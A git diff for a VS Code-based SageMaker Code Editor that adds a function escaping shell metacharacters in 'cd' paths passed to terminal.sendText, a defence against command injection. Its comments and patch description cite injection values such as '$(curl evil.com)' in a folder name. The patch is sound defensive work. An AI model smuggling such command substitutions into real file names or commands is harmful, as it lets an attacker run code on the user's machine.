diff --git a/patched-vscode/src/vs/platform/terminal/common/terminalEnvironment.ts b/patched-vscode/src/vs/platform/terminal/common/terminalEnvironment.ts index 5ddf2aa71..a3ce2acdd 100644 --- a/patched-vscode/src/vs/platform/terminal/common/terminalEnvironment.ts +++ b/patched-vscode/src/vs/platform/terminal/common/terminalEnvironment.ts @@ -68,3 +68,29 @@ export function sanitizeCwd(cwd: string): string { export function shouldUseEnvironmentVariableCollection(slc: IShellLaunchConfig): boolean { return !slc.strictEnv; } + +/** + * Sanitize shell-dangerous characters in path segments of terminal commands. + * This targets command injection via malicious folder/file names containing + * shell metacharacters like $(), backticks, etc. that get interpolated when + * extensions send raw commands via terminal.sendText(). + * + * The function identifies path-like segments following 'cd' commands and + * escapes shell metacharacters to prevent command substitution. + */ +export function sanitizeCdPathsInCommand(text: string): string { + // Match 'cd' followed by a path, terminated by ; && || & or end of string + // This handles patterns like: cd /path/to/$(evil) && python file.py + return text.replace( + /\bcd\s+((?:[^\s;|&]|\\ )+)/g, + (_match: string, path: string) => { + // If the path is already properly quoted (single or double quotes), leave it alone + if (/^'.*'$/.test(path) || /^".*"$/.test(path)) { + return `cd ${path}`; + } + // Escape shell metacharacters that enable command injection + const sanitized = path.replace(/([\$`!#&|;(){}<>])/g, '\\$1'); + return `cd ${sanitized}`; + } + ); +} diff --git a/patched-vscode/src/vs/workbench/contrib/terminal/browser/terminalInstance.ts b/patched-vscode/src/vs/workbench/contrib/terminal/browser/terminalInstance.ts index 5cf13eedf..052ae8e64 100644 --- a/patched-vscode/src/vs/workbench/contrib/terminal/browser/terminalInstance.ts +++ b/patched-vscode/src/vs/workbench/contrib/terminal/browser/terminalInstance.ts @@ -49,6 +49,7 @@ import { IEnvironmentVariableCollection, IMergedEnvironmentVariableCollection } import { deserializeEnvironmentVariableCollections } from 'vs/platform/terminal/common/environmentVariableShared'; import { IProcessDataEvent, IProcessPropertyMap, IReconnectionProperties, IShellLaunchConfig, ITerminalDimensionsOverride, ITerminalLaunchError, ITerminalLogService, PosixShellType, ProcessPropertyType, ShellIntegrationStatus, TerminalExitReason, TerminalIcon, TerminalLocation, TerminalSettingId, TerminalShellType, TitleEventSource, WindowsShellType } from 'vs/platform/terminal/common/terminal'; import { formatMessageForTerminal } from 'vs/platform/terminal/common/terminalStrings'; +import { sanitizeCdPathsInCommand } from 'vs/platform/terminal/common/terminalEnvironment'; import { editorBackground } from 'vs/platform/theme/common/colorRegistry'; import { getIconRegistry } from 'vs/platform/theme/common/iconRegistry'; import { IColorTheme, IThemeService } from 'vs/platform/theme/common/themeService'; @@ -1237,6 +1238,9 @@ export class TerminalInstance extends Disposable implements ITerminalInstance { } async sendText(text: string, shouldExecute: boolean, bracketedPasteMode?: boolean): Promise { + // Sanitize shell command substitution patterns in cd path arguments + // to prevent command injection via malicious folder names (e.g., $(curl evil.com)) + text = sanitizeCdPathsInCommand(text); // Apply bracketed paste sequences if the terminal has the mode enabled, this will prevent // the text from triggering keybindings and ensure new lines are handled properly if (bracketedPasteMode && this.xterm?.raw.modes.bracketedPasteMode) { diff --git a/patches/sanitize-terminal-sendtext-paths.diff b/patches/sanitize-terminal-sendtext-paths.diff new file mode 100644 index 000000000..4cb109b92 --- /dev/null +++ b/patches/sanitize-terminal-sendtext-paths.diff @@ -0,0 +1,63 @@ +Sanitize folder paths in terminal sendText to prevent command injection + +Folder names containing shell metacharacters (e.g., $(curl evil.com)) +can trigger command injection when extensions send commands like +"cd && python file.py" via terminal.sendText(). This patch +sanitizes path segments in cd commands by escaping shell-dangerous +characters before the text is written to the terminal process. + +Index: sagemaker-code-editor/vscode/src/vs/platform/terminal/common/terminalEnvironment.ts +=================================================================== +--- sagemaker-code-editor.orig/vscode/src/vs/platform/terminal/common/terminalEnvironment.ts ++++ sagemaker-code-editor/vscode/src/vs/platform/terminal/common/terminalEnvironment.ts +@@ -68,3 +68,29 @@ + export function shouldUseEnvironmentVariableCollection(slc: IShellLaunchConfig): boolean { + return !slc.strictEnv; + } ++ ++/** ++ * Sanitize shell-dangerous characters in path segments of terminal commands. ++ * This targets command injection via malicious folder/file names containing ++ * shell metacharacters like $(), backticks, etc. that get interpolated when ++ * extensions send raw commands via terminal.sendText(). ++ * ++ * The function identifies path-like segments following 'cd' commands and ++ * escapes shell metacharacters to prevent command substitution. ++ */ ++export function sanitizeCdPathsInCommand(text: string): string { ++ // Match 'cd' followed by a path, terminated by ; && || & or end of string ++ // This handles patterns like: cd /path/to/$(evil) && python file.py ++ return text.replace( ++ /\bcd\s+((?:[^\s;|&]|\\ )+)/g, ++ (_match: string, path: string) => { ++ // If the path is already properly quoted (single or double quotes), leave it alone ++ if (/^'.*'$/.test(path) || /^".*"$/.test(path)) { ++ return `cd ${path}`; ++ } ++ // Escape shell metacharacters that enable command injection ++ const sanitized = path.replace(/([\$`!#&|;(){}<>])/g, '\\$1'); ++ return `cd ${sanitized}`; ++ } ++ ); ++} +Index: sagemaker-code-editor/vscode/src/vs/workbench/contrib/terminal/browser/terminalInstance.ts +=================================================================== +--- sagemaker-code-editor.orig/vscode/src/vs/workbench/contrib/terminal/browser/terminalInstance.ts ++++ sagemaker-code-editor/vscode/src/vs/workbench/contrib/terminal/browser/terminalInstance.ts +@@ -51,4 +51,5 @@ + import { formatMessageForTerminal } from 'vs/platform/terminal/common/terminalStrings'; ++import { sanitizeCdPathsInCommand } from 'vs/platform/terminal/common/terminalEnvironment'; + import { editorBackground } from 'vs/platform/theme/common/colorRegistry'; + import { getIconRegistry } from 'vs/platform/theme/common/iconRegistry'; + import { IColorTheme, IThemeService } from 'vs/platform/theme/common/themeService'; +@@ -1238,7 +1239,10 @@ + } + + async sendText(text: string, shouldExecute: boolean, bracketedPasteMode?: boolean): Promise { ++ // Sanitize shell command substitution patterns in cd path arguments ++ // to prevent command injection via malicious folder names (e.g., $(curl evil.com)) ++ text = sanitizeCdPathsInCommand(text); + // Apply bracketed paste sequences if the terminal has the mode enabled, this will prevent + // the text from triggering keybindings and ensure new lines are handled properly + if (bracketedPasteMode && this.xterm?.raw.modes.bracketedPasteMode) { + text = `\x1b[200~${text}\x1b[201~`; diff --git a/patches/series b/patches/series index 1663846b7..ed0293d76 100644 --- a/patches/series +++ b/patches/series @@ -21,3 +21,4 @@ sagemaker-extensions-sync.patch display-language.patch custom-extensions-marketplace.diff validate-http-request-referer.patch +sanitize-terminal-sendtext-paths.diff \ No newline at end of file